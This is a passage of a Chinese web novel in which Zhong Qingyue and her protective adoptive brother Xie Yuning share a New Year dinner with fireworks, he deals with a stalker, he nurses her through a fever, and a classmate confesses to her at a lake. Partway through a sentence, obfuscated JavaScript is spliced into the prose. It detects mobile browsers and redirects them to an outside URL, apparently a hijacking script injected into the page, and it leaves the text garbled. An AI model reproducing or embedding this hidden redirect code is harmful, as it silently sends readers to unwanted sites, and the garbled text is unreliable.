抿了口香槟,清爽的果香混杂着复杂的酵母味,她不适地蹙起眉,迅速叉了块牛肉塞进嘴里。 细细嚼过,她立刻点头,掩住嘴巴道:“唔,这个勃艮第红酒炖牛肉好好吃,你快尝尝。” 谢宇谦离开后,两人这顿晚餐才算正式开始,经典的法式餐配着清爽的香槟,味蕾极致的享受。 时间一分一秒消逝,来到夜晚九点。 落地窗望出去的夜景不似刚才那么漂亮,天空黑沉沉的,地面的灯火又格外耀眼。 她酒量不好,几杯香槟下肚后脸颊潮红,眼神倒是很清明,托着腮望着窗外,睫毛扑闪扑闪的,不知在想些什么。 谢昱宁抬手看眼时间,也望向窗外。 短短几秒钟后,窗外突然腾空升起一束光,紧接着光源炸开,一个绚丽的烟花绽放在眼前,银白色的光芒下落,如同银河倾泻到世间。 钟卿悦吓了一跳,下意识双手抱着胸口,不可置信地盯着窗外。 烟花消散,夜幕又重回寂静,餐厅里响起小声的讨论。 钟卿悦愣愣转头看他,似乎真的有些醉了,思绪都变得异常缓慢,“哥,你看到了吗?烟花。” 谢昱宁眯了眯眼,故意逗她,“有吗?” “有啊。”她疑惑地指向窗外,“你看啊。” 话音刚落,耳边再次响起低沉的轰鸣,旋转升空的光芒速度极快,到达顶点后瞬间炸裂,一个黄色海绵宝宝形状的烟花展现在眼前,与此同时旁边又升腾起一束光,炸开后是粉色派大星的烟花。 钟卿悦愣愣盯着,喃喃自语,“我会魔法……?” 紧接着,大片的烟花腾空升起,漫天的黑幕成为底色,绚丽的光芒层层叠叠绽放,笼罩城市上方。 谢昱宁望向她,她澄澈的眸中五光十色,如闪耀星辰降临,点亮人间。 烟花短暂,转瞬消散,夜空重回宁静。 她缓缓转头望向谢昱宁,“哥,是你准备的烟花。” 是肯定句,不是疑问句。那对活泼的小伙伴出现时她就已经得到结论。 “你怎么知道我想看烟花?” 谢昱宁挑眉,“猜的。” 她托着下巴点头,唇边笑意清浅,“你是不是钻我心里去了?” 谢昱宁微怔,“是吗?” “是啊,不然你怎么什么都知道。”钟卿悦盯着他,眨眨眼,“我心里怎么样?暖和吗?” 谢昱宁不着痕迹地淡淡应了声,挑眉示意她再看窗外。 夜空中漆黑一片,她疑惑盯着,下一秒,有几个闪动的亮点出现,如呼吸频率,一亮一灭。 她不解地眨眨眼,转瞬间,蓝色光点从下往上蔓延,很快便彻底显现。数台无人机闪着光斑,拼凑出一句话——新年不挂科。 她诧异地眨眨眼,立刻问道:“为什么是这么朴实无华的祝福?” 谢昱宁:“那天你洗手,我听到你对镜子许愿了。” “哦,对。” 临近期末,她确实许愿来着。 想到这,她立刻双手合十放在面前,阖眸再次许愿,“不要挂科不要挂科,求求老师大发慈悲捞捞我。” 许完愿再睁开眼,无人机又变换成一颗巨大而紧凑的星星,片刻后,中间位置弯成三角形的笑眼,笑眯眯地看着这座城市。 表演过后,世界沉入静默,餐厅里响起悠扬的琴声,跳动的音符缓缓流淌,似乎是抚慰她方才悸动的心脏。 伴着音乐,钟卿悦不知不觉喝了许多香槟,起初还觉得味道酸涩,但细细品味后竟能感受到柔和的醇厚感。 她再次端起酒杯,谢昱宁却开口阻止,“香槟中的气泡会加速酒精吸收,血液中的酒精浓度迅速上升更容易醉酒。” 钟卿悦盯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538740|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眸光闪闪亮亮,“我没醉,我酒量应该很好,虽然这是第二次喝。” 谢昱宁眯了眯眼,“第二次?” “对呀。”她抿唇笑着,“上一次是在酒吧,我尝了一小口果酒,不好喝。” “但这个香槟……”她顿了顿,轻轻抿了一口,“很好喝。” 谢昱宁:“没醉也不能喝了。” “我想喝。”她凑近酒杯,又抿了一口,“你不准管我。” 谢昱宁有些无奈,她愿意喝便喝吧,反正他在。 离开餐厅时,钟卿悦已经喝醉了,她抓着谢昱宁的胳膊,走路有些摇晃,脸颊因醉酒泛着两团红晕,耳尖也是明显的淡粉色,嘴巴不停,一直叽叽喳喳地跟他讲话。 上了电梯,她脑袋靠在谢昱宁手臂上,“哥,你是不是喝醉了?你怎么一直晃来晃去的。” 他垂眸看她,她贴的很近,身上山茶花的气息变得浓郁,隐约还能闻到香槟的果香,钻进鼻息间,仿佛也带了酒精。 “是你醉了。” “瞎说。”她抬头瞪他一眼,接着晃了晃脑袋,双手牢牢抓住他的手臂,“你别晃了,我都要晕了。” 谢昱宁无奈,“我没晃。” “你明明就在晃。” 她伸出食指放在他面前,纤细的手指左右晃动,“你看你,就在这样。” 谢昱宁抓着她指尖放下,晃得他都有些晕了,“你闭上眼睛。” “闭上眼睛管用吗?闭上眼睛我怎么走路?” 谢昱宁:“我牵着你。” 电梯到达负二层,门徐徐打开,钟卿悦闭上眼,任由谢昱宁拉着。 她脚步虚浮,走得异常缓慢,每踩下一步都像踩在棉花上。 谢昱宁并不讨厌这个时刻,甚至希望时间能拉得更长。 他将她微凉的指尖包裹在掌心中,紧紧握着,像小时候她依赖他时那样。 她摇晃着他的手,喃喃开口:“还没到吗?” “快了。” “多快?” 谢昱宁无奈:“很快。” 说话间,两人终于上了车。她靠在椅背上,歪头看谢昱宁,媚眼如丝,“哥,我好困。” “一会回家睡觉。” “我现在就想睡觉。”她蹙起眉,屁股往他身边蹭了蹭,身子一歪,直挺挺躺到了他腿上。 谢昱宁身子一僵,“钟卿悦。” 钟卿悦闭着眼,伸出食指跟拇指比了一下,“我就睡一小会儿,我…保…” 话还没说完,就垂下手睡着了。 谢昱宁垂眸看着她躺在他膝上,睡颜柔和,唇角含笑。 他鬼使神差地伸出手落在她发顶,轻轻揉了揉,发丝在掌心引起轻微的痒意。 她似乎有所察觉,脑袋动了动,在他腿上寻到更舒适的姿势,又呢喃着睡去。 时间流速似乎在这一刻变慢,逼仄的车厢内她的气息围绕包裹,他竟在寒冬腊月感受到了燥热。 — 翌日,元旦假期第三天。 钟卿悦起床时觉得脑袋像裂开了,洗了个热水澡以后才缓解不少。 她和谢昱宁没有着急赶回故城,她三号上午没课,所以两人打算三号一早再出发。 下楼吃早饭时,钟爸笑话她酒量差,钟妈则不咸不淡地说她没女孩子样子。 她背着两人吐了吐舌头,正巧被谢昱宁看到。 她瞪他一眼,吓唬他不要多嘴。 下午,孟辰薇约着她去拍新年写真,两人约好在商场门口碰面。 她准时到达,站在寒风中等孟辰薇,短短几分钟时间,耳朵就冻得通红。 与此同时,路边缓缓停下一辆黑色商务,车内的人看向窗外,目光落在钟卿悦身上。 隔着那么远,钟卿悦自然不知道。她已经快冻成冰块了,等了许久不见孟辰薇来,便掏出手机给她发消息,改约在写真馆门口,自己先一步走进商场。 车内,谢昱宁看着她身影消失,手中的手机发出轻微震动。 他垂眸查看,陌生号码发来几张照片,全都是偷拍视角下的钟卿悦,有侧脸,有背影,有她低头看手机时。 他沉下眸子,眉宇间蕴着浓稠的阴鸷。 划掉照片,看到对方发来的消息:试试? 16. 第 16 章 谢昱宁熄灭屏幕,反手将手机扣在掌间,冷声道:“齐乐。” 坐在副驾驶的齐乐立刻侧过身等候命令。 谢昱宁盯着前方,眉目幽深,“把东西发过去。” “好的,先生。” 齐乐应下,展开膝上的笔记本,迅速操作起来。 几分钟后,他合上笔记本,侧身恭敬道:“先生,邮件发出去了。” 谢昱宁淡淡应下。 不消片刻,他的手机响起铃声。 意料之中,他懒懒反转屏幕,看到闪烁的陌生号码,滑动接听,听筒传来谢宇谦愤怒的声音。 “谢昱宁,你怎么拿到的?” 谢昱宁指尖点着膝盖,“重要吗?我已经告诉过你,是你不听。” 谢宇谦:“你到底想怎么样?” “窃取谢氏AI训练数据和处理方式,以此牟利。你这个情况,根据法律条例,三年以上十年以下。” 谢宇谦冷笑一声,“你以为我会怕?” 谢昱宁慵懒开口,“你做的可不止这些。” 话说到这,谢宇谦明显有些慌,“我要见你。” 谢昱宁:“地址。” 谢宇谦警惕道:“你是自己来吗?” “试试不就知道了?” 沉默片刻,谢宇谦缓缓报出一个地址。 挂断电话,谢昱宁看向齐乐,“去吧,把他手机里的照片删掉,把备份处理干净,好好对他。” “明白,先生。” 齐乐下车,车厢内再无外人。 后排另一侧座椅上的女人歪着头,红唇漾出清淡的笑意,“你喜欢那个女孩吧,不然怎么会愿意放弃布局多年的这盘棋。” 谢昱宁没看她,视线落在窗外,眼神晦暗不明,“为什么这么说?” 谢嘉希修长的美甲撩起耳边发丝,“比起二叔,谢宇谦的危险系数更高,虽然也对你造不成什么伤害,但你是怕对那个女孩下手吧。” “她是我妹妹,我会保护她。” 谢嘉希笑了,当局者迷旁观者清,她说太多也无用。 她摇了摇头,转言道:“我清楚,我爸没那么大面子,如果不是你想处理谢宇谦,也不会选择和我们家合作。” 谢昱宁:“我本身对养老服务行业也不感兴趣,与其让他人获利,不如和你分一杯羹。” “可你以前说不会向任何公司提供技术支持。” “那又如何?”谢昱宁挑眉看她,“你得到你想要的,我得到我想要的。” “我很佩服你。”谢嘉希看着他,沉默片刻,“不过我更感谢那个女孩,不然谢家……一定会落到尸骨无存的下场。” 谢嘉希:“希望你会对我们网开一面。” 谢昱宁转头看她,却没有接话。 谢嘉希离开后,车床被人敲响,他缓缓落下,虎背熊腰的男人站在车外恭敬颔首,“先生,跟踪钟小姐的人都处理好了。” 谢昱宁点头,“送到齐乐那。” 顶楼的钟卿悦丝毫不知发生在身边的危险,她正快乐的和孟辰薇拍摄新年主题的闺蜜写真。 — 翌日,两人返回故城,而故城也迎来一场迟到的大雪。 下午钟卿悦下课回家时还只是刚开始飘细小的雪花,到了深夜要睡觉时,外面已经白茫茫一片。大朵大朵的雪花纷至沓来,在暖光的院灯照射下晶莹剔透,如天空撒下粒粒砂糖。 这场雪洋洋洒洒下了一整夜,第二天天空放晴,但温度骤降,出门就像进冰箱冷冻层,片刻就能结霜。 寒冷的天气适宜病毒生存,班级内许多同学病毒性感冒,钟卿悦没几天就被传染了。 这天她下课回家吃完晚饭,觉得头昏昏沉沉的难受。 徐阿姨察觉她的异样,喊她试了试体温,没成想已经烧到38℃,徐阿姨忙给谢昱宁打去电话。 没多久谢昱宁就赶了回来,带着钟卿悦去医院查血常规,报告显示病毒感染,医生开了药,嘱咐了注意事项。 回到家,谢昱宁把所有药罗列出来,其中就有钟卿悦从小到大的噩梦——四季抗病毒合剂。 钟卿悦:“能不能不喝这个。” “不能。”谢昱宁拧开盖子,倒进量杯,递到她面前。 她烧得晕头转向的,还是捏着鼻子后退。 谢昱宁靠近一步,从睡衣口袋掏出一颗大白兔奶糖,“听话。” 钟卿悦扫视一眼,一手是药,一手是糖。自知躲不过,她只能认输,谁让感冒了呢。 迅速接过药,捏着鼻子一口气灌进嘴里,浓重的中草药味,苦涩清冽。她屏气咽下,一颗带着奶香的糖已经塞到唇边,开口咬下,浓郁的甜冲散掉口中的苦涩。 吃完药,她简单洗漱后就上床睡觉,谢昱宁怕她不退烧,便打算守着她。 屋内恒温恒湿,她窝进暖煦煦的被子里还是觉得冷,于是只露出一颗圆溜溜的脑袋在被子外。 谢昱宁倾身摸了摸她额头,仍旧滚烫的吓人。 她眨巴眨巴眼睛,声音闷闷的,“哥,你去休息吧,我是病毒性感冒,会把你传染的。” “没事。”他给她掖掖被角,“等你退烧我就回去休息。” 她吸吸鼻子,“那你要不戴口罩?” “不用,你快睡。” 拗不过他,钟卿悦索性闭上眼睛,“那晚安。” 他摸了摸她发顶,声音轻柔,“晚安。” 几分钟后,听到她均匀绵长的呼吸声,谢昱宁才离开床边。 关掉大灯,只开着角落里昏暗的夜灯,他坐到靠窗的沙发上,指尖抵着额角,看着她的睡颜。 高烧的缘故,钟卿悦睡得并不好,偶尔翻身会发出似孩童般的哼唧声,还说了许多听不清晰的梦话。 谢昱宁间隔一段时间就去摸她的额头,用额温枪测体温,然而一直不见退烧。 医生嘱咐如果高烧不退,可以在四到六小时后再吃一片退烧药。 谢昱宁掐着时间,在四小时后拿来了退烧药和温水。 他俯身拍拍钟卿悦的手臂,声线温柔,“悦儿,起来吃药。” 钟卿悦朦胧中睁开眼,看着贴近眼前的脸,脑袋昏沉,“哥。” 她一开口,声音嘶哑,喉咙生疼,如同刀片划过。 谢昱宁扶着她坐起身,让她靠在他身上。 将温水凑到她唇边,她大口喝下,水流顺着喉咙滑下,短暂缓解嗓子的不适感。 谢昱宁把退烧药塞进她口中,又喂着她喝下水。 她烧得浑身酸痛,比没睡觉前还要难受,感冒带来的反应在此刻一股脑涌现,鼻塞,嗓子痛,头痛。 她靠着谢昱宁肩膀,声音带了哭腔,“哥,难受。” 谢昱宁蹙起眉,心脏一瞬间如同针扎了一下,他摸着她的发顶,低声哄道:“退了烧就好了。” “想吃…蛋糕。” “明天买。” 她哼唧一声,抓住他手指,“现在……” 谢昱宁微怔,食指被包裹在她柔软的掌心,炙热的温度透过肌肤流进血液,他声音低哑,“嗯,现在。” “哥,疼。”她又呢喃一声,头在他颈窝蹭着,似乎想要去缓解不适感。 谢昱宁拍着她的后背,低声安抚,“乖,马上就好了。” 她吸吸鼻子,脸被他身上微凉的气息吸引,不自觉往他脖子上靠去,下一秒,柔软的唇瓣擦过他脖颈,带着灼烫的气息。 他身形一僵,清晰感觉到脖子升腾起一股异样,细密的电流转瞬流窜全身。 只是这一下,她的气息似乎就已经钻进他的身体里,而他的身体如同痴迷上某种瘾,不断吞噬,聚成火焰。 他闭了闭眼,强迫自己将怀里的人放到床上,但手 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她抱着水杯大喝一口,乖巧地点了点头。 一杯水见底,她把杯子递给谢昱宁,“你回房间休息吧,哥,我没事了。” 谢昱宁没接话,问道:“你还睡吗?” 她点点头。 “那我在这陪你。” 钟卿悦立刻摇头,“不要。” 谢昱宁指了指沙发,“我在那里睡,你不舒服就喊我。” 钟卿悦还想坚持,但他不见丝毫转圜的余地,无奈,她只好轻声应下。 — 谢昱宁在房间陪她睡了两天,半夜按点给她测体温,哄着她吃药。 在他悉心照料下,她终于不再发烧。 她请了两天病假,第三天便开始去上课,主要是复习周怕挂科,话剧社的排练也因为她的缘故耽搁了好几天,同学不怕她传染,要求她戴着口罩也得去。 不知是不是错觉,忙碌似乎都让感冒好得快了些。 一周后,她终于摆脱难喝的药,又恢复生龙活虎的模样。 周三,话剧社的迎新年活动在博思讲堂举行,为期一整天,有四场话剧演出。 她和路畅作为新一届社员参演话剧《第十二夜》,时间安排在下午第一场。 钟卿悦专门为谢昱宁准备了工作证,让他陪她参加她第一场公开的演出。 谢昱宁出现在后台时,钟卿悦刚换好衣服,正在化妆。 她穿着一袭黑色泡泡袖长裙,腰部紧密贴合曲线,展现纤细的腰身,还未放裙撑,就已经十分符合文艺复兴时期的欧洲女性。 谢昱宁将手中巴掌大小的黑色礼物盒放在她手上。 她碍于化妆中不能乱动,只能诧异地眨眨眼,拿到面前看着,“这是什么?” “礼物,祝你演出顺利。” 她粲然一笑,“演出还有礼物,哥,你也太好了吧!” 给她化妆的同学羡慕地看着,“我怎么就是独生女呢,我下辈子投胎时一定好好选。” 钟卿悦嘿嘿一笑,把礼物递回给谢昱宁,“我先不拆,哥,你帮我放到包里吧,顺便把里面的润喉片拿给我。” 她抬手指了指不远处的沙发,“我的包在那里。” 谢昱宁循着她指得方向望去,点了点头。 拉开拉链,巨大的托特包里装了各种东西,谢昱宁仔细翻找着,没找到润喉片,却看到一个未开封的信封。 棕色牛皮纸材质,上面写着一串苍劲有力的字体——钟卿悦收。 他不动声色将信封放回原来位置,视线也看到藏匿在角落的润喉片。 他拿出润喉片,拉上拉链,朝钟卿悦走去。 17-20 17 第 17 章 ◎你们认识一下◎ 话剧开场, 红色幕布徐徐展开,饰演公爵的男演员瘫坐在地上,追光灯落在身上, 他忧郁抬头, 深情歌颂伟大的爱情。 紧接着音乐响起, 他起身旋转舞蹈, 开始倾诉对公爵小姐奥莉维亚的爱而不得。 一段舞蹈后, 音乐停止,舞台骤然陷入黑暗,再次亮起灯光时,饰演主人公薇奥拉的路畅出现在海滩上,她得知兄长的死,打算女扮男装, 成为公爵的侍从。 下一秒灯光又暗下,等再度亮起时,钟卿悦出场了。 她饰演公爵小姐奥莉维亚, 坐在四位轿夫抬得轿子上出行, 身穿雍容华贵的黑裙,又以黑纱覆面,手中还拿着黑色折扇遮挡容颜, 她宣称自己要为兄长守孝,不接受任何求婚。 钦慕她的贵族公爵上前搭话,被她冷面用折扇回绝。 谢昱宁坐在观影极佳的位置, 他能清晰看到钟卿悦挡在折扇后的侧脸,即便不难以被观众发现, 仍旧能够看出她沉浸在表演之中。 但他心不在焉, 他闭上眼就能想到钟卿悦包里那个信封, 里面是什么? 他皱起眉,情绪左右着思绪,根本无心静下来思考。 两小时后,这场经典的喜剧作品落下帷幕,剧场内响起雷鸣般的掌声,演员们激动地鞠躬谢幕,表达对艺术的尊重,对观众的感谢。 红色幕布拉起,观众陆续离开,谢昱宁起身往后台走去。 钟卿悦换下服装卸妆洗脸,收拾妥当后从化妆间出来,谢昱宁看到她便迎上前。 “哥,我们可以去吃饭啦,下一场话剧不需要我帮忙。” 谢昱宁应了声,自然接过她手中的包,“想吃什么?” “我们去吃火锅吧!这种天气最适合吃火锅了。” “嗯。”谢昱宁沉吟一瞬,不着痕迹道:“礼物看了吗?” “哦,对!” 被提醒,钟卿悦立刻驻足去掏包寻找,拉开拉链,伸手在包里一阵翻腾。 谢昱宁认真帮她提着,平静地目光落下,一眼锁定显眼位置的信封。 钟卿悦没在意,还在聚精会神找礼物盒,几秒钟后,她在包底摸到盒子,掏出来的瞬间,目光也注意到突兀的信封一角。 她疑惑地蹙起眉,捏着信封和礼物盒一起拿出,“这是什么?也是礼物吗?” 她拿到谢昱宁面前晃了晃,以为是他留在里面的。 然而谢昱宁佯装没见过,摇摇头,“不是我放的。” 他顿了顿,又道:“信封正面写了字,给你的。” “啊?”钟卿悦不可置信地看向信封正面,“还真是,谁给我的?好奇怪,怎么就出现在我包里了。” 说着,她撕开封口处。信封里夹着一张折迭整齐的信纸,拿出展开,寥寥数语,和信封正面一样苍劲有力的字体: [话剧演出结束后我在云泉湖等你。] 没有署名,不知道主人是谁。 钟卿悦蹙起眉,拿给谢昱宁看,“恶作剧吗?” “不清楚,但我可以陪你去看看。” 钟卿悦将信纸塞回去,思忖一瞬,“走,去看看。” 云泉湖是故南大学冬季有名的景点之一,尤其是下过雪后,湖面结了冰,周遭耐寒的松树挂上积雪,银装素裹,宛如冰雪仙境。 从博思讲堂到云泉湖并不远,但路面有结冰的地方,走起来需要放缓脚步。 十几分钟后,拐过门口的小路,便看到云泉湖的全貌。 隔着几十米的距离,远远望去,只见湖边站着一个人影,他背对门口处,面对湖面站着,身姿修长,背影宽厚,一看便知是男生,穿着黑色长款羽绒服,头上戴着黑白相间的冷帽,十分熟悉的穿搭。 钟卿悦百思不得其解,她原以为是恶作剧,没成想真的有人在等她。 又往前走了几步,她细细思索,突然想到这个帽子的主人——周沐渊。在话剧社时,她经常看到他戴这个帽子。 “是周沐渊。”她顿了顿,“我过去看看他想干嘛。” 说罢,她大步朝人影走去。 听到阴魂不散的名字,谢昱宁脸瞬间冷下来,比料峭寒冬的霜雪还要刺骨。 他目光沉沉,抬步跟上。 周沐渊在湖边等了半个多小时,腿站得发麻,脚也冰凉。 那封信他纠结了好久才托人偷偷塞进钟卿悦包里,他不确定钟卿悦会不会来,所以他已经提着心紧张许久了。 就在此时,身后突然传来平缓的脚步声,还有踩在路边积雪上的咯吱声。 他呼吸一滞,手心立刻浮起冷汗。 脚步慢慢走近,而后停止在他身后不远处的位置。 他双手紧握成拳强迫自己冷静下来。他不打算回头,他清楚自己根本无法直面钟卿悦说出心里话。 他深吸一口气,勇敢开口说道:“不…不好意思,钟卿悦同学,以这种方式约你见面。从军训时候第一次见你,我就觉得你狠不一样,你照顾中暑的同学,温柔又有耐心,对待谁都很和善。后来在话剧社面试,我在门外听到你的琴声,就像你的性格一样开朗,让我总是不自觉想到你的笑脸。今天我又看了你的话剧演出,你动作眼神充满表现力,对台词节奏的把握也恰到好处,你做什么都能做的特别好,你真的很优秀。” 一段话说出口,他额头已经冒出细密的汗珠。 他顿了顿,继续开口:“那天……那位男士,我知道他不是你男朋友,是你哥哥。所以我想我还有追求你的机会对吗?请问…你愿意给我这样的机会吗?哪怕…从朋友开始。” 钟卿悦听得头疼,而她身旁的谢昱宁已经黑了脸,眉宇间蕴起浓稠的阴鸷。 他握住钟卿悦的手腕,强势将她拉到自己身后,自己则抬步站到直面周沐渊背影的位置。 周沐渊听到身后有声响,紧张地开口,“你…你听我说完好吗?” 他语速变得有些着急,似乎生怕钟卿悦没有耐心听完,“钟卿悦同学,我……我很喜欢你。” 说罢,他鼓起勇气猛然转身,四目相对,撞入谢昱宁冷冽寒凉的双眸。 他慌张后退,目光立刻去寻找钟卿悦的身影。 与此同时,钟卿悦站到谢昱宁身侧,表情略带歉意,“周同学,谢谢你的喜欢,你很好很优秀,但我暂时不打算恋爱,我妈妈也嘱咐我要好好学习,所以很抱歉。” 她指了指谢昱宁,“我哥是监督人呢。” 周沐渊整个人愣在原地,等了片刻才逐渐缓过神,“对不起,是不是给你造成困扰了。但我可以等你,以后你可不可以优先考虑我。” 谢昱宁冷着脸,目光上下打量周沐渊一番,怎么看都不太顺眼。他烦躁地情绪挂在脸上,对着周沐渊冷淡开口:“不会,她会有更好的选择。” 周沐渊立刻红了脸,他下意识去看钟卿悦,目光在她脸上停顿片刻。紧接着,似乎下定很大决心,眸中的光亮突然变得坚定,他勇敢看向谢昱宁,道:“我会提升自己,努力让自己变得更好。” 谢昱宁挑眉看他,淡淡道:“你不适合她。” 勇敢迈出第一步后,周沐渊像是打开了话匣子,反驳道:“那您觉得什么样的人叫合适?您了解过我吗?” “不需要,我看到你就知道你不合适。” 谢昱宁懒得再同他废话,拉起钟卿悦的手转身便走。 就这样被扔下,周沐渊心有不甘,他望着钟卿悦的背影,握紧拳头,大声喊道:“钟卿悦同学,我会让你了解我的。” 钟卿悦无奈地叹口气,驻足回道:“抱歉周同学,我目前还是想以学业为重。” 走出云泉湖入口处,谢昱宁才放慢脚步,钟卿悦歪头看着他,“哥,看来你对我男朋友的要求也很高呢。” 谢昱宁挑眉,“高吗?基本要求而已。他性格软,说话优柔寡断,如果有人欺负你,他能保护你?” 钟卿悦立刻点头,“嗯嗯,你放心,我不喜欢他。” “嗯。”谢昱宁淡淡应了声,心情不错,唇角微微勾起,“回家。” “等等,走慢一点。”钟卿悦从口袋里掏出礼物盒,“我还没看呢。” 黑色丝绒礼盒拿在手中轻巧,外观朴素简单,没有精致华丽的包装。 她小心翼翼打开盖子,映入眼帘的是Harry Winston的经典永恒手链。 铂金链上紧密镶嵌排列着30颗椭圆形切工钻石,搭配一颗重达2克拉的主石,每颗钻石都晶莹剔透,在光线的照射下闪耀着璀璨的光芒。 而它之所以被称之为永恒手链,是因为它头尾相连的设计象征着永恒的爱情。 钟卿悦并不追求珠宝首饰,但此刻还是被这条手链所吸引,“哇,真漂亮。” 谢昱宁:“你喜欢就好。” “当然喜欢!”她摘下手套,眼睛里闪烁着微光,“你帮我带上吧,哥。” 谢昱宁勾起唇角,取出手链,认真搭在她腕间,对准卡扣,按压第一颗钻石,推进后将卡扣牢牢扣紧。 冰凉的手链紧密贴合腕骨,微微晃动能看到细碎的光斑闪动,精致奢华。 “好看吗?”她晃着手腕。 “好看。”他答得真诚,目光却落在她暴露在寒冷空气中的手,“冷吗?” 说话间,他已经自然地伸出手握住她的手。 短短几分钟的时间,她手指冰凉如水,他下意识将那股凉意包裹进掌心,用自己的体温帮她取暖。 随着潜意识做得动作,却在回神后让他突然愣怔一瞬,他…… 他偏开头,松开她的手,拿起手套为她认真戴上。 无关紧要的插曲并没有引起钟卿悦的注意,反倒他的心底仿佛翻涌起层层涟漪。 — 之后的日子忙碌且琐碎,钟卿悦陷入期末的压力,每天不是上课就是去图书馆,偶尔会遇到周沐渊,但他没再说过像那天一样的话。 临阵磨枪了几天,终于来到考试周,兵荒马乱的参加完考试,这一学期正式宣告结束。 在故城又赖了两天,两人才启程回江城。 到达江城已是傍晚时分,停下车进了主楼,并未等到迎接他们的人,或许因为这次离开连一个月的时间都没有,钟爸根本就不想她。 走近客厅,钟爸正靠在沙发上打电话,看到两人的身影愣了一下,匆匆跟电话那头说了声便挂断了。 “你俩咋回来了?” 钟卿悦无奈地撇撇嘴,“我说老钟,要过年了,你让我俩去哪儿啊?” “哦,嗐,对。”钟爸一拍大腿,“你放寒假了?” “多新鲜呐。” “得得得。”钟爸连忙起身往厨房走,“袁姐,多做点菜,俩祖宗回来了。” 钟卿悦把随身的东西拿回卧室,洗了个澡,下楼时已经要开饭了。 布置温馨的餐厅,一家人整整齐齐入座,钟爸很是开心,倒了酒喊着谢昱宁一块小酌一杯。 谢昱宁没推辞,拿过陶瓷温酒壶为钟爸斟满酒。 菜陆陆续续端上桌,钟卿悦一眼便看到放在最远处,她最喜欢的菜——什锦虾仁。 她喜欢虾仁和西兰花的搭配,清口鲜美,但江城的厨师每每都会放胡萝卜进去,因为钟妈喜欢所谓的营养全面。 但在故城时,无论是徐阿姨做还是谢昱宁做,他们都会默契的拒绝胡萝卜的加入,因为知道钟卿悦不喜欢吃。 此时,钟卿悦盯着什锦虾仁,烦躁地蹙起眉,噘着嘴看了眼谢昱宁。 早在这道菜上桌时,谢昱宁就已经明白今天这顿饭他需要做什么。 而此刻,他不需要抬头就能感受到那道带着不悦情绪的视线。 他自然地拿起勺子,舀了一勺放进钟卿悦盘子中,继而用筷子夹走掺杂在里面的菱形胡萝卜片,放进自己碗中。 钟卿悦满意地看着消失的胡萝卜,歪头笑眯眯道:“谢谢哥哥。” 钟妈抬眸,将这番操作看在眼里,她没说话,不动声色夹了菜继续吃饭。 反倒钟爸,欣慰地又点头又微笑,“你看看,这兄妹俩关系多好。” 钟妈筷子一顿,偏头白了他一眼,示意他少说话。 钟爸习惯了被目光数落,讨好地给钟妈夹了菜,“小诗,多吃点。” 一顿饭欢欢喜喜的吃着,钟爸问了钟卿悦不少学校的事情,又夸赞了她的话剧表演。 吃过饭,钟爸喊着谢昱宁去打羽毛球,钟妈则去忙工作,钟卿悦百无聊赖,又拾起弃了半年多的网游。 在故城时她也想不起玩,谢昱宁总不会让她无聊,或是带她打游戏机,或是下棋,围棋象棋五子棋飞行棋,她都被他教会了。 玩到十点多,哈欠连天,生物钟提醒她该睡觉了,加之白天又赶路,格外疲倦。 洗漱完躺在床上,拥着软乎乎的被子,很是满足。 望着明亮的天花板,她轻唤道:“小饼干?” 书桌上的系统立刻响应,机械音软萌可爱,“我在,多次拒绝过敏乐队主唱的当代肖邦。” 她侧过身去看它,“你想我了吗?” “距离您上次唤醒我已有23天,小饼干非常想念您。” 钟卿悦满足的眯起眼睛,毛茸茸的脑袋在枕头上蹭蹭,“你知道吗?你还有个好朋友叫小鱼丸。” “我知道,是先生发明了我们。” “你好厉害啊小饼干。” 小饼干虚拟的圆溜溜眼睛眯成一条缝,格外开心,“谢谢你的夸奖,我也这么觉得。” 钟卿悦打个哈欠,“晚安,小饼干,我已经困了。” 小饼干识趣地调暗灯光,“您需要小饼干几点唤您起床?” “八点吧。” 小饼干:“好的,晚安。” 声音落下,小饼干关闭所有灯光,屋内陷入一片漆黑,钟卿悦缩进被子,困意袭来,缓缓闭上眼睛。 感觉几分钟的时间,她半梦半醒刚要睡着,床头柜上的手机突然发出轻微震动,将她从梦中惊醒。 她身子抖了一下,朦胧睁开眼睛,摸索着伸手去拿手机。 屏幕点亮,亮光十分刺眼,她眯起眸子解锁,看到微信收到的消息。 [贺文杉:悦姐,明天有没有时间。] 往常贺文杉都是狂轰乱炸的发消息直接约她,从来没礼貌严肃地问过她有没有时间,今天怎么突然转性了? 钟卿悦有些困,揉了揉眼睛,感觉怪怪的,回到:[有,有事?] 贺文杉回得很快,[明天上午十点在印象步行街见吧,老地方。] 钟卿悦皱起眉,隐隐察觉不对劲,便问道:[怎么了?就我们两个?] [贺文杉:对,就我们两个。我有些话想跟你说,在手机上说不清,明天见了细聊。] 钟卿悦没再追问下去,回了个晚安的表情包就放下手机睡觉了。 — 翌日,被小饼干悠扬的音乐唤醒,钟卿悦伸个懒腰,爬起来洗漱吃饭。 下楼走进餐厅,没见钟爸身影,倒是钟妈和谢昱宁正在用餐。 谢昱宁偏头看到她,单手习惯性拉开身侧的椅子方便她入座,她习以为常,侧身坐下。 袁姨端来餐具和温热的牛奶放到她身边,她立刻蹙起眉头,隔着老远都能闻到奶腥味儿。 她捏着鼻子把杯子推远些才能正常吃饭。 谢昱宁没抬头,安静的嚼着吐司,片刻,小块吐司下肚,他缓缓放下叉子,自然端起钟卿悦的牛奶杯,凑到唇边,缓慢喝着。 此时袁姨从厨房走来,手里端着一杯豆浆,看到谢昱宁在喝牛奶,她愣了一下,“少爷……?” 她没记错的话,早起少爷是告诉她想喝豆浆的。 谢昱宁微微抬眸,佯装愣了一下,才道:“袁姨,豆浆给悦儿吧。” 说完,他看向钟卿悦,神色略带歉意,“抱歉,喝了你的牛奶。” 钟卿悦哪能听不懂他的画外音呢,她眸光一亮,立刻道:“没关系没关系。” 钟妈咽下口中食物,目光平静落到袁姨身上,“袁姐,再热一杯牛奶。” 